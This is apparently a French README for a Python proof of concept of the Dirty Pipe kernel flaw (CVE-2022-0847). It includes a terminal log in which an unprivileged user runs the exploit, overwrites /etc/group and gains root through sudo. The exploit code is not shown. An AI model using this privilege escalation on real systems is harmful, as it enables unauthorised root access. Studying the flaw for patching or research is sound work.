
Exploit POC pour ajouter un utilisateur à Sudo pour la vulnérabilité Dirty Pipe (CVE-2022-0847)
Ce dépôt est basé sur la vulnérabilité, l'article et l'exploit produits par Max Kellermann, tous trouvés ici.
Comme tout le monde, j'ai dû profiter de l'occasion pour jouer avec l'élévation de privilèges la plus triviale à reproduire au monde ; l'article de blog fait un excellent travail pour tout expliquer. J'ai traduit l'exploit en Python simplement pour mieux le comprendre, mais il s'agit d'une copie exacte de l'exploit en C avec l'élévation de privilèges Sudo codée en dur.
Python 3.10 (en raison de l'utilisation de l'appel os.splice)
Corrompt le fichier /etc/group en écrivant dans la ligne juste après l'entrée sudo. Mais lorsque vous êtes root, vous pouvez le réparer en utilisant la copie.
Place une copie de /etc/group dans /tmp/group_backup
test@kali:/home/user/working$ whoami
test
test@kali:/home/user/working$ sudo whoami
test is not in the sudoers file. This incident will be reported.
test@kali:/home/user/working$ python3.10 poc.py
[*] Dirty PIPE POC [*]
[*] Exploit will add test to sudoers
[*] Finding offset of sudo entry in /etc/group
[*] Found sudo group offset
[*] Confirmed it is not last.
[*] Opening /etc/group
[*] Opening PIPE
[*] Contaminating flags of pipe buffer
[*] 65536 bytes written to pipe
[*] 65536 bytes read from pipe
[*] Splicing byte from /etc/group to pipe
[*] Spliced 1 bytes
[*] Altering group to add test
[*] 6 bytes written to /etc/group
test@kali:/home/user/working$ su test
Password:
test@kali:/home/user/working$ sudo whoami
root
test@kali:/home/user/working$